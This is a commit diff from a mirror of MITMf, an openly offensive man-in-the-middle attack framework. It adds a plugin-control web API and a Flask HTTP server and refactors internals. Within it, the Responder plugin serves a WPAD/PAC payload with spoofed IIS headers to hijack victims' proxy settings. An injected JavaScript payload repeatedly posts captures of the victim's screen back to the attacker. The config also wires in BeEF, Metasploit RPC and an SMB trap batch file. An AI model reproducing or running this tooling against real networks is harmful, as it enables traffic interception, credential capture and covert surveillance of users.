mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-08-19 04:59:33 -07:00
Merge d0660ea5ec
into fb0e8a3762
This commit is contained in:
commit
9bf6366053
23 changed files with 300 additions and 140 deletions
|
@ -6,6 +6,7 @@
|
||||||
|
|
||||||
# Required BeEF and Metasploit options
|
# Required BeEF and Metasploit options
|
||||||
[[BeEF]]
|
[[BeEF]]
|
||||||
|
|
||||||
beefip = 127.0.0.1
|
beefip = 127.0.0.1
|
||||||
beefport = 3000
|
beefport = 3000
|
||||||
user = beef
|
user = beef
|
||||||
|
@ -18,6 +19,11 @@
|
||||||
rpcport = 55552
|
rpcport = 55552
|
||||||
rpcpass = abc123
|
rpcpass = abc123
|
||||||
|
|
||||||
|
[[MITMf-API]]
|
||||||
|
|
||||||
|
host = 127.0.0.1
|
||||||
|
port = 9090
|
||||||
|
|
||||||
[[SMB]]
|
[[SMB]]
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -57,25 +63,23 @@
|
||||||
# ini = /tmp/desktop.ini
|
# ini = /tmp/desktop.ini
|
||||||
# bat = /tmp/evil.bat
|
# bat = /tmp/evil.bat
|
||||||
|
|
||||||
#This is still experimental, don't uncomment pls!
|
[[HTTP]]
|
||||||
#[[HTTP]]
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Here you can configure MITMf's internal HTTP server
|
# Here you can configure MITMf's internal HTTP server
|
||||||
#
|
#
|
||||||
|
|
||||||
#port = 80
|
port = 80
|
||||||
|
|
||||||
#[[[Paths]]]
|
[[[Paths]]]
|
||||||
|
|
||||||
#
|
#
|
||||||
# Here you can define the content to deliver
|
# Here you can define the content to deliver
|
||||||
#
|
#
|
||||||
|
|
||||||
# Format is urlpath = filesystem path (urlpath can be a regular expression)
|
# Format is urlpath = filesystem path
|
||||||
|
|
||||||
# ".*" = "/var/www"
|
"/test" = "/var/www2"
|
||||||
# "/test" = "/var/www2"
|
|
||||||
|
|
||||||
[[DNS]]
|
[[DNS]]
|
||||||
|
|
||||||
|
|
29
config/plugins.conf
Normal file
29
config/plugins.conf
Normal file
|
@ -0,0 +1,29 @@
|
||||||
|
[plugins]
|
||||||
|
|
||||||
|
[[cachekill]]
|
||||||
|
|
||||||
|
status = disabled
|
||||||
|
|
||||||
|
[[screen]]
|
||||||
|
|
||||||
|
status = disabled
|
||||||
|
|
||||||
|
[[browserprofiler]]
|
||||||
|
|
||||||
|
status = disabled
|
||||||
|
|
||||||
|
[[appoison]]
|
||||||
|
|
||||||
|
status = disabled
|
||||||
|
|
||||||
|
[[replace]]
|
||||||
|
|
||||||
|
status = disabled
|
||||||
|
|
||||||
|
[[smbtrap]]
|
||||||
|
|
||||||
|
status = disabled
|
||||||
|
|
||||||
|
[[upsidedownternet]]
|
||||||
|
|
||||||
|
status = disabled
|
|
@ -21,11 +21,6 @@ class ConfigWatcher(FileSystemEventHandler):
|
||||||
|
|
||||||
return ConfigWatcher._instance
|
return ConfigWatcher._instance
|
||||||
|
|
||||||
def startConfigWatch(self):
|
|
||||||
observer = Observer()
|
|
||||||
observer.schedule(self, path='./config', recursive=False)
|
|
||||||
observer.start()
|
|
||||||
|
|
||||||
def getConfig(self):
|
def getConfig(self):
|
||||||
return self.config
|
return self.config
|
||||||
|
|
||||||
|
@ -34,6 +29,11 @@ class ConfigWatcher(FileSystemEventHandler):
|
||||||
self.reloadConfig()
|
self.reloadConfig()
|
||||||
self.onConfigChange()
|
self.onConfigChange()
|
||||||
|
|
||||||
|
def startConfigWatch(self):
|
||||||
|
observer = Observer()
|
||||||
|
observer.schedule(self, path='./config', recursive=False)
|
||||||
|
observer.start()
|
||||||
|
|
||||||
def onConfigChange(self):
|
def onConfigChange(self):
|
||||||
""" We can subclass this function to do stuff after the config file has been modified"""
|
""" We can subclass this function to do stuff after the config file has been modified"""
|
||||||
pass
|
pass
|
||||||
|
|
|
@ -1024,7 +1024,7 @@ function h2cRenderContext(width, height) {
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
_html2canvas.Parse = function (images, options) {
|
_html2canvas.Parse = function (images, options) {
|
||||||
window.scroll(0,0);
|
//window.scroll(0,0);
|
||||||
|
|
||||||
var element = (( options.elements === undefined ) ? document.body : options.elements[0]), // select body by default
|
var element = (( options.elements === undefined ) ? document.body : options.elements[0]), // select body by default
|
||||||
numDraws = 0,
|
numDraws = 0,
|
||||||
|
@ -2871,8 +2871,10 @@ function grab() {
|
||||||
xmlhttp.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
|
xmlhttp.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
|
||||||
var x=encodeURIComponent(dat);
|
var x=encodeURIComponent(dat);
|
||||||
xmlhttp.send(x);
|
xmlhttp.send(x);
|
||||||
}
|
},
|
||||||
});
|
width: screen.width,
|
||||||
|
height: screen.height
|
||||||
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
setInterval(function(){grab()}, SECONDS_GO_HERE);
|
setInterval(function(){grab()}, SECONDS_GO_HERE);
|
108
core/mitmfapi.py
Normal file
108
core/mitmfapi.py
Normal file
|
@ -0,0 +1,108 @@
|
||||||
|
#!/usr/bin/env python2.7
|
||||||
|
|
||||||
|
# Copyright (c) 2014-2016 Marcello Salvati
|
||||||
|
#
|
||||||
|
# This program is free software; you can redistribute it and/or
|
||||||
|
# modify it under the terms of the GNU General Public License as
|
||||||
|
# published by the Free Software Foundation; either version 3 of the
|
||||||
|
# License, or (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful, but
|
||||||
|
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
# General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program; if not, write to the Free Software
|
||||||
|
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||||
|
# USA
|
||||||
|
#
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
Coded by @xtr4nge
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
#import multiprocessing
|
||||||
|
import threading
|
||||||
|
import logging
|
||||||
|
import json
|
||||||
|
import sys
|
||||||
|
|
||||||
|
from flask import Flask
|
||||||
|
from core.configwatcher import ConfigWatcher
|
||||||
|
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
||||||
|
|
||||||
|
app = Flask(__name__)
|
||||||
|
|
||||||
|
class mitmfapi:
|
||||||
|
|
||||||
|
_instance = None
|
||||||
|
host = ConfigWatcher.getInstance().config['MITMf']['MITMf-API']['host']
|
||||||
|
port = int(ConfigWatcher.getInstance().config['MITMf']['MITMf-API']['port'])
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def getInstance():
|
||||||
|
if mitmfapi._instance is None:
|
||||||
|
mitmfapi._instance = mitmfapi()
|
||||||
|
|
||||||
|
return mitmfapi._instance
|
||||||
|
|
||||||
|
@app.route("/")
|
||||||
|
def getPlugins():
|
||||||
|
# example: http://127.0.0.1:9090/
|
||||||
|
pdict = {}
|
||||||
|
|
||||||
|
#print ProxyPlugins.getInstance().plist
|
||||||
|
for activated_plugin in ProxyPlugins.getInstance().plist:
|
||||||
|
pdict[activated_plugin.name] = True
|
||||||
|
|
||||||
|
#print ProxyPlugins.getInstance().plist_all
|
||||||
|
for plugin in ProxyPlugins.getInstance().plist_all:
|
||||||
|
if plugin.name not in pdict:
|
||||||
|
pdict[plugin.name] = False
|
||||||
|
|
||||||
|
#print ProxyPlugins.getInstance().pmthds
|
||||||
|
|
||||||
|
return json.dumps(pdict)
|
||||||
|
|
||||||
|
@app.route("/<plugin>")
|
||||||
|
def getPluginStatus(plugin):
|
||||||
|
# example: http://127.0.0.1:9090/cachekill
|
||||||
|
for p in ProxyPlugins.getInstance().plist:
|
||||||
|
if plugin == p.name:
|
||||||
|
return json.dumps("1")
|
||||||
|
|
||||||
|
return json.dumps("0")
|
||||||
|
|
||||||
|
@app.route("/<plugin>/<status>")
|
||||||
|
def setPluginStatus(plugin, status):
|
||||||
|
# example: http://127.0.0.1:9090/cachekill/1 # enabled
|
||||||
|
# example: http://127.0.0.1:9090/cachekill/0 # disabled
|
||||||
|
if status == "1":
|
||||||
|
for p in ProxyPlugins.getInstance().plist_all:
|
||||||
|
if (p.name == plugin) and (p not in ProxyPlugins.getInstance().plist):
|
||||||
|
ProxyPlugins.getInstance().addPlugin(p)
|
||||||
|
return json.dumps({"plugin": plugin, "response": "success"})
|
||||||
|
|
||||||
|
elif status == "0":
|
||||||
|
for p in ProxyPlugins.getInstance().plist:
|
||||||
|
if p.name == plugin:
|
||||||
|
ProxyPlugins.getInstance().removePlugin(p)
|
||||||
|
return json.dumps({"plugin": plugin, "response": "success"})
|
||||||
|
|
||||||
|
return json.dumps({"plugin": plugin, "response": "failed"})
|
||||||
|
|
||||||
|
def startFlask(self):
|
||||||
|
app.run(debug=False, host=self.host, port=self.port)
|
||||||
|
|
||||||
|
#def start(self):
|
||||||
|
# api_thread = multiprocessing.Process(name="mitmfapi", target=self.startFlask)
|
||||||
|
# api_thread.daemon = True
|
||||||
|
# api_thread.start()
|
||||||
|
|
||||||
|
def start(self):
|
||||||
|
api_thread = threading.Thread(name='mitmfapi', target=self.startFlask)
|
||||||
|
api_thread.setDaemon(True)
|
||||||
|
api_thread.start()
|
|
@ -42,32 +42,25 @@ class ProxyPlugins:
|
||||||
in handleResponse, but is still annoying.
|
in handleResponse, but is still annoying.
|
||||||
'''
|
'''
|
||||||
_instance = None
|
_instance = None
|
||||||
|
|
||||||
plist = []
|
|
||||||
mthdDict = {"connectionMade": "clientRequest",
|
mthdDict = {"connectionMade": "clientRequest",
|
||||||
"handleStatus": "serverResponseStatus",
|
"handleStatus": "serverResponseStatus",
|
||||||
"handleResponse": "serverResponse",
|
"handleResponse": "serverResponse",
|
||||||
"handleHeader": "serverHeaders",
|
"handleHeader": "serverHeaders",
|
||||||
"handleEndHeaders":"serverHeaders"}
|
"handleEndHeaders":"serverHeaders"}
|
||||||
|
|
||||||
pmthds = {}
|
def __init__(self):
|
||||||
|
self.pmthds = {}
|
||||||
|
self.plist = []
|
||||||
|
self.plist_all = []
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def getInstance():
|
def getInstance():
|
||||||
if ProxyPlugins._instance == None:
|
if ProxyPlugins._instance is None:
|
||||||
ProxyPlugins._instance = ProxyPlugins()
|
ProxyPlugins._instance = ProxyPlugins()
|
||||||
|
|
||||||
return ProxyPlugins._instance
|
return ProxyPlugins._instance
|
||||||
|
|
||||||
def setPlugins(self, plugins):
|
def addPlugin(self, p):
|
||||||
'''Set the plugins in use'''
|
|
||||||
|
|
||||||
for p in plugins:
|
|
||||||
self.addPlugin(p)
|
|
||||||
|
|
||||||
mitmf_logger.debug("[ProxyPlugins] Loaded {} plugin/s".format(len(self.plist)))
|
|
||||||
|
|
||||||
def addPlugin(self,p):
|
|
||||||
'''Load a plugin'''
|
'''Load a plugin'''
|
||||||
self.plist.append(p)
|
self.plist.append(p)
|
||||||
mitmf_logger.debug("[ProxyPlugins] Adding {} plugin".format(p.name))
|
mitmf_logger.debug("[ProxyPlugins] Adding {} plugin".format(p.name))
|
||||||
|
@ -77,12 +70,12 @@ class ProxyPlugins:
|
||||||
except KeyError:
|
except KeyError:
|
||||||
self.pmthds[mthd] = [getattr(p,pmthd)]
|
self.pmthds[mthd] = [getattr(p,pmthd)]
|
||||||
|
|
||||||
def removePlugin(self,p):
|
def removePlugin(self, p):
|
||||||
'''Unload a plugin'''
|
'''Unload a plugin'''
|
||||||
self.plist.remove(p)
|
self.plist.remove(p)
|
||||||
mitmf_logger.debug("[ProxyPlugins] Removing {} plugin".format(p.name))
|
mitmf_logger.debug("[ProxyPlugins] Removing {} plugin".format(p.name))
|
||||||
for mthd,pmthd in self.mthdDict.iteritems():
|
for mthd,pmthd in self.mthdDict.iteritems():
|
||||||
self.pmthds[mthd].remove(p)
|
self.pmthds[mthd].remove(getattr(p, pmthd))
|
||||||
|
|
||||||
def hook(self):
|
def hook(self):
|
||||||
'''Magic to hook various function calls in sslstrip'''
|
'''Magic to hook various function calls in sslstrip'''
|
||||||
|
|
|
@ -419,14 +419,15 @@ class DNSChef(ConfigWatcher):
|
||||||
_instance = None
|
_instance = None
|
||||||
version = "0.4"
|
version = "0.4"
|
||||||
|
|
||||||
tcp = False
|
def __init__(self):
|
||||||
ipv6 = False
|
self.tcp = False
|
||||||
hsts = False
|
self.ipv6 = False
|
||||||
real_records = dict()
|
self.hsts = False
|
||||||
nametodns = dict()
|
self.real_records = dict()
|
||||||
server_address = "0.0.0.0"
|
self.nametodns = dict()
|
||||||
nameservers = ["8.8.8.8"]
|
self.server_address = "0.0.0.0"
|
||||||
port = 53
|
self.nameservers = ["8.8.8.8"]
|
||||||
|
self.port = 53
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def getInstance():
|
def getInstance():
|
||||||
|
|
|
@ -1,82 +0,0 @@
|
||||||
#!/usr/bin/env python2.7
|
|
||||||
|
|
||||||
# Copyright (c) 2014-2016 Marcello Salvati
|
|
||||||
#
|
|
||||||
# This program is free software; you can redistribute it and/or
|
|
||||||
# modify it under the terms of the GNU General Public License as
|
|
||||||
# published by the Free Software Foundation; either version 3 of the
|
|
||||||
# License, or (at your option) any later version.
|
|
||||||
#
|
|
||||||
# This program is distributed in the hope that it will be useful, but
|
|
||||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
||||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
|
||||||
# General Public License for more details.
|
|
||||||
#
|
|
||||||
# You should have received a copy of the GNU General Public License
|
|
||||||
# along with this program; if not, write to the Free Software
|
|
||||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
|
||||||
# USA
|
|
||||||
#
|
|
||||||
|
|
||||||
import logging
|
|
||||||
import sys
|
|
||||||
import tornado.ioloop
|
|
||||||
import tornado.web
|
|
||||||
import threading
|
|
||||||
|
|
||||||
from core.configwatcher import ConfigWatcher
|
|
||||||
|
|
||||||
tornado_logger = logging.getLogger("tornado")
|
|
||||||
tornado_logger.propagate = False
|
|
||||||
formatter = logging.Formatter("%(asctime)s [HTTPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
|
||||||
fileHandler = logging.FileHandler("./logs/mitmf.log")
|
|
||||||
streamHandler = logging.StreamHandler(sys.stdout)
|
|
||||||
fileHandler.setFormatter(formatter)
|
|
||||||
streamHandler.setFormatter(formatter)
|
|
||||||
tornado_logger.addHandler(fileHandler)
|
|
||||||
tornado_logger.addHandler(streamHandler)
|
|
||||||
|
|
||||||
class HTTPServer(ConfigWatcher):
|
|
||||||
|
|
||||||
_instance = None
|
|
||||||
application = tornado.web.Application([])
|
|
||||||
http_port = int(ConfigWatcher.config["MITMf"]["HTTP"]["port"])
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def getInstance():
|
|
||||||
if HTTPServer._instance == None:
|
|
||||||
HTTPServer._instance = HTTPServer()
|
|
||||||
|
|
||||||
return HTTPServer._instance
|
|
||||||
|
|
||||||
def addHandler(self, urlregex, handler, vhost=''):
|
|
||||||
self.application.add_handlers(vhost, [(urlregex, handler)])
|
|
||||||
|
|
||||||
def addStaticPathHandler(self, urlregex, path, vhost=''):
|
|
||||||
self.application.add_handlers(vhost, [(urlregex, {"static_path": path})])
|
|
||||||
|
|
||||||
def resetApplication(self):
|
|
||||||
self.application = tornado.web.Application([])
|
|
||||||
|
|
||||||
def parseConfig(self):
|
|
||||||
for url,path in self.config['MITMf']['HTTP']['Paths'].iteritems():
|
|
||||||
self.addStaticPathHandler(url, path)
|
|
||||||
|
|
||||||
def onConfigChange(self):
|
|
||||||
self.resetApplication()
|
|
||||||
self.parseConfig()
|
|
||||||
|
|
||||||
def start(self):
|
|
||||||
self.parseConfig()
|
|
||||||
self.application.listen(self.http_port)
|
|
||||||
|
|
||||||
t = threading.Thread(name='HTTPserver', target=tornado.ioloop.IOLoop.instance().start)
|
|
||||||
t.setDaemon(True)
|
|
||||||
t.start()
|
|
||||||
|
|
||||||
class HTTPHandler(tornado.web.RequestHandler):
|
|
||||||
def get(self):
|
|
||||||
raise HTTPError(405)
|
|
||||||
|
|
||||||
def post(self):
|
|
||||||
raise HTTPError(405)
|
|
46
core/servers/http/HTTPserver.py
Normal file
46
core/servers/http/HTTPserver.py
Normal file
|
@ -0,0 +1,46 @@
|
||||||
|
#!/usr/bin/env python2.7
|
||||||
|
|
||||||
|
# Copyright (c) 2014-2016 Marcello Salvati
|
||||||
|
#
|
||||||
|
# This program is free software; you can redistribute it and/or
|
||||||
|
# modify it under the terms of the GNU General Public License as
|
||||||
|
# published by the Free Software Foundation; either version 3 of the
|
||||||
|
# License, or (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful, but
|
||||||
|
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
# General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program; if not, write to the Free Software
|
||||||
|
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||||
|
# USA
|
||||||
|
#
|
||||||
|
|
||||||
|
import logging
|
||||||
|
import threading
|
||||||
|
|
||||||
|
from core.configwatcher import ConfigWatcher
|
||||||
|
from flask import Flask
|
||||||
|
|
||||||
|
class HTTPserver:
|
||||||
|
|
||||||
|
_instance = None
|
||||||
|
server = Flask(__name__)
|
||||||
|
port = int(ConfigWatcher.getInstance().config['MITMf']['HTTP']['port'])
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def getInstance():
|
||||||
|
if HTTPserver._instance is None:
|
||||||
|
HTTPserver._instance = HTTPserver()
|
||||||
|
|
||||||
|
return HTTPserver._instance
|
||||||
|
|
||||||
|
def startFlask(self):
|
||||||
|
self.server.run(debug=False, host='0.0.0.0', port=self.port)
|
||||||
|
|
||||||
|
def start(self):
|
||||||
|
server_thread = threading.Thread(name='HTTPserver', target=self.startFlask)
|
||||||
|
server_thread.setDaemon(True)
|
||||||
|
server_thread.start()
|
|
@ -15,9 +15,9 @@ class SMBserver(ConfigWatcher):
|
||||||
|
|
||||||
_instance = None
|
_instance = None
|
||||||
impacket_ver = version.VER_MINOR
|
impacket_ver = version.VER_MINOR
|
||||||
server_type = ConfigWatcher.config["MITMf"]["SMB"]["type"].lower()
|
server_type = ConfigWatcher.getInstance().config["MITMf"]["SMB"]["type"].lower()
|
||||||
smbchallenge = ConfigWatcher.config["MITMf"]["SMB"]["Challenge"]
|
smbchallenge = ConfigWatcher.getInstance().config["MITMf"]["SMB"]["Challenge"]
|
||||||
smb_port = int(ConfigWatcher.config["MITMf"]["SMB"]["port"])
|
smb_port = int(ConfigWatcher.getInstance().config["MITMf"]["SMB"]["port"])
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def getInstance():
|
def getInstance():
|
||||||
|
|
|
@ -60,7 +60,6 @@ class ServerConnection(HTTPClient):
|
||||||
self.urlMonitor = URLMonitor.getInstance()
|
self.urlMonitor = URLMonitor.getInstance()
|
||||||
self.hsts = URLMonitor.getInstance().hsts
|
self.hsts = URLMonitor.getInstance().hsts
|
||||||
self.app = URLMonitor.getInstance().app
|
self.app = URLMonitor.getInstance().app
|
||||||
self.plugins = ProxyPlugins.getInstance()
|
|
||||||
self.isImageRequest = False
|
self.isImageRequest = False
|
||||||
self.isCompressed = False
|
self.isCompressed = False
|
||||||
self.contentLength = None
|
self.contentLength = None
|
||||||
|
@ -108,7 +107,7 @@ class ServerConnection(HTTPClient):
|
||||||
def connectionMade(self):
|
def connectionMade(self):
|
||||||
mitmf_logger.debug("[ServerConnection] HTTP connection made.")
|
mitmf_logger.debug("[ServerConnection] HTTP connection made.")
|
||||||
|
|
||||||
self.plugins.hook()
|
ProxyPlugins.getInstance().hook()
|
||||||
self.sendRequest()
|
self.sendRequest()
|
||||||
self.sendHeaders()
|
self.sendHeaders()
|
||||||
|
|
||||||
|
@ -117,7 +116,7 @@ class ServerConnection(HTTPClient):
|
||||||
|
|
||||||
def handleStatus(self, version, code, message):
|
def handleStatus(self, version, code, message):
|
||||||
|
|
||||||
values = self.plugins.hook()
|
values = ProxyPlugins.getInstance().hook()
|
||||||
|
|
||||||
version = values['version']
|
version = values['version']
|
||||||
code = values['code']
|
code = values['code']
|
||||||
|
@ -164,7 +163,7 @@ class ServerConnection(HTTPClient):
|
||||||
if self.length == 0:
|
if self.length == 0:
|
||||||
self.shutdown()
|
self.shutdown()
|
||||||
|
|
||||||
self.plugins.hook()
|
ProxyPlugins.getInstance().hook()
|
||||||
|
|
||||||
if logging.getLevelName(mitmf_logger.getEffectiveLevel()) == "DEBUG":
|
if logging.getLevelName(mitmf_logger.getEffectiveLevel()) == "DEBUG":
|
||||||
for header, value in self.client.headers.iteritems():
|
for header, value in self.client.headers.iteritems():
|
||||||
|
@ -191,7 +190,7 @@ class ServerConnection(HTTPClient):
|
||||||
data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read()
|
data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read()
|
||||||
|
|
||||||
data = self.replaceSecureLinks(data)
|
data = self.replaceSecureLinks(data)
|
||||||
data = self.plugins.hook()['data']
|
data = ProxyPlugins.getInstance().hook()['data']
|
||||||
|
|
||||||
mitmf_logger.debug("[ServerConnection] Read from server {} bytes of data".format(len(data)))
|
mitmf_logger.debug("[ServerConnection] Read from server {} bytes of data".format(len(data)))
|
||||||
|
|
||||||
|
|
16
mitmf.py
16
mitmf.py
|
@ -66,6 +66,8 @@ plugins = []
|
||||||
try:
|
try:
|
||||||
for p in plugin_classes:
|
for p in plugin_classes:
|
||||||
plugins.append(p())
|
plugins.append(p())
|
||||||
|
|
||||||
|
ProxyPlugins.getInstance().plist_all = plugins
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
print "[-] Failed to load plugin class {}: {}".format(p, e)
|
print "[-] Failed to load plugin class {}: {}".format(p, e)
|
||||||
|
|
||||||
|
@ -178,17 +180,23 @@ DNSChef.getInstance().start()
|
||||||
print "|_ DNSChef v{} online".format(DNSChef.version)
|
print "|_ DNSChef v{} online".format(DNSChef.version)
|
||||||
|
|
||||||
#Start the HTTP Server
|
#Start the HTTP Server
|
||||||
#from core.servers.http.HTTPServer import HTTPServer
|
#from core.servers.http.HTTPserver import HTTPserver
|
||||||
#HTTPServer.getInstance().start()
|
#HTTPserver.getInstance().start()
|
||||||
#print "|_ HTTP server online"
|
#print "|_ HTTP server online"
|
||||||
|
|
||||||
#Start the SMB server
|
#Start the SMB server
|
||||||
from core.servers.smb.SMBserver import SMBserver
|
from core.servers.smb.SMBserver import SMBserver
|
||||||
print "|_ SMB server online [Mode: {}] (Impacket {}) \n".format(SMBserver.getInstance().server_type, SMBserver.getInstance().impacket_ver)
|
print "|_ SMB server online [Mode: {}] (Impacket {})".format(SMBserver.getInstance().server_type, SMBserver.getInstance().impacket_ver)
|
||||||
SMBserver.getInstance().start()
|
SMBserver.getInstance().start()
|
||||||
|
|
||||||
|
#Start MITMf-API
|
||||||
|
from core.mitmfapi import mitmfapi
|
||||||
|
mitmfapi().start()
|
||||||
|
print "|"
|
||||||
|
print "|_ MITMf-API running on http://{}:{}\n".format(mitmfapi.getInstance().host, mitmfapi.getInstance().port)
|
||||||
|
|
||||||
#start the reactor
|
#start the reactor
|
||||||
reactor.run()
|
reactor.run()
|
||||||
|
|
||||||
print "\n"
|
print "\n"
|
||||||
shutdown()
|
shutdown()
|
||||||
|
|
|
@ -18,6 +18,12 @@
|
||||||
# USA
|
# USA
|
||||||
#
|
#
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
[enabled | disabled] by @xtr4nge
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
import re
|
import re
|
||||||
import os.path
|
import os.path
|
||||||
|
@ -45,7 +51,6 @@ class AppCachePlugin(Plugin):
|
||||||
self.urlMonitor.setAppCachePoisoning()
|
self.urlMonitor.setAppCachePoisoning()
|
||||||
|
|
||||||
def serverResponse(self, response, request, data):
|
def serverResponse(self, response, request, data):
|
||||||
|
|
||||||
#This code was literally copied + pasted from Koto's sslstrip fork, def need to clean this up in the near future
|
#This code was literally copied + pasted from Koto's sslstrip fork, def need to clean this up in the near future
|
||||||
|
|
||||||
self.app_config = self.config['AppCachePoison'] # so we reload the config on each request
|
self.app_config = self.config['AppCachePoison'] # so we reload the config on each request
|
||||||
|
|
|
@ -17,6 +17,13 @@
|
||||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||||
# USA
|
# USA
|
||||||
#
|
#
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
[enabled | disabled] by @xtr4nge
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
|
|
||||||
from pprint import pformat
|
from pprint import pformat
|
||||||
|
@ -46,7 +53,6 @@ class BrowserProfiler(Inject, Plugin):
|
||||||
return d
|
return d
|
||||||
|
|
||||||
def clientRequest(self, request):
|
def clientRequest(self, request):
|
||||||
#Handle the plugin output
|
|
||||||
if 'clientprfl' in request.uri:
|
if 'clientprfl' in request.uri:
|
||||||
request.printPostData = False
|
request.printPostData = False
|
||||||
|
|
||||||
|
|
|
@ -18,6 +18,12 @@
|
||||||
# USA
|
# USA
|
||||||
#
|
#
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
[API] enabled|disabled by @xtr4nge
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
|
|
||||||
|
|
|
@ -17,6 +17,7 @@
|
||||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||||
# USA
|
# USA
|
||||||
#
|
#
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
import re
|
import re
|
||||||
import random
|
import random
|
||||||
|
|
|
@ -21,6 +21,7 @@
|
||||||
"""
|
"""
|
||||||
|
|
||||||
Plugin by @rubenthijssen
|
Plugin by @rubenthijssen
|
||||||
|
[enabled | disabled] by @xtr4nge
|
||||||
|
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
@ -53,7 +54,6 @@ class Replace(Plugin):
|
||||||
|
|
||||||
if self._should_replace(ip, hn, mime):
|
if self._should_replace(ip, hn, mime):
|
||||||
|
|
||||||
# Did the user provide us with a regex file?
|
|
||||||
for rulename, regexs in self.config['Replace'].iteritems():
|
for rulename, regexs in self.config['Replace'].iteritems():
|
||||||
for regex1,regex2 in regexs.iteritems():
|
for regex1,regex2 in regexs.iteritems():
|
||||||
if re.search(regex1, data):
|
if re.search(regex1, data):
|
||||||
|
|
|
@ -21,12 +21,12 @@
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
from twisted.internet import reactor
|
from twisted.internet import reactor
|
||||||
from core.utils import SystemConfig, shutdown
|
from core.utils import SystemConfig, shutdown
|
||||||
|
from core.configwatcher import ConfigWatcher
|
||||||
|
|
||||||
from core.responder.llmnr.LLMNRPoisoner import LLMNRPoisoner
|
from core.responder.llmnr.LLMNRPoisoner import LLMNRPoisoner
|
||||||
from core.responder.mdns.MDNSPoisoner import MDNSPoisoner
|
from core.responder.mdns.MDNSPoisoner import MDNSPoisoner
|
||||||
from core.responder.nbtns.NBTNSPoisoner import NBTNSPoisoner
|
from core.responder.nbtns.NBTNSPoisoner import NBTNSPoisoner
|
||||||
from core.responder.fingerprinter.LANFingerprinter import LANFingerprinter
|
from core.responder.fingerprinter.LANFingerprinter import LANFingerprinter
|
||||||
from core.responder.wpad.WPADPoisoner import WPADPoisoner
|
|
||||||
|
|
||||||
class Responder(Plugin):
|
class Responder(Plugin):
|
||||||
name = "Responder"
|
name = "Responder"
|
||||||
|
@ -54,8 +54,23 @@ class Responder(Plugin):
|
||||||
LLMNRPoisoner().start(options, self.ourip)
|
LLMNRPoisoner().start(options, self.ourip)
|
||||||
|
|
||||||
if options.wpad:
|
if options.wpad:
|
||||||
from core.responder.wpad.WPADPoisoner import WPADPoisoner
|
from core.servers.http.HTTPserver import HTTPserver
|
||||||
WPADPoisoner().start(options)
|
import flask
|
||||||
|
|
||||||
|
server = HTTPserver.getInstance().server
|
||||||
|
|
||||||
|
@server.route('/<wpad_req>')
|
||||||
|
def wpad(wpad_req):
|
||||||
|
if (wpad_req == 'wpad.dat') or (wpad_req.endswith('.pac')):
|
||||||
|
payload = ConfigWatcher.getInstance().config['Responder']['WPADScript']
|
||||||
|
|
||||||
|
resp = flask.Response(payload)
|
||||||
|
resp.headers['Server'] = "Microsoft-IIS/6.0"
|
||||||
|
resp.headers['Content-Type'] = "application/x-ns-proxy-autoconfig"
|
||||||
|
resp.headers['X-Powered-By'] = "ASP.NET"
|
||||||
|
resp.headers['Content-Length'] = len(payload)
|
||||||
|
|
||||||
|
return resp
|
||||||
|
|
||||||
if self.config["Responder"]["MSSQL"].lower() == "on":
|
if self.config["Responder"]["MSSQL"].lower() == "on":
|
||||||
from core.responder.mssql.MSSQLServer import MSSQLServer
|
from core.responder.mssql.MSSQLServer import MSSQLServer
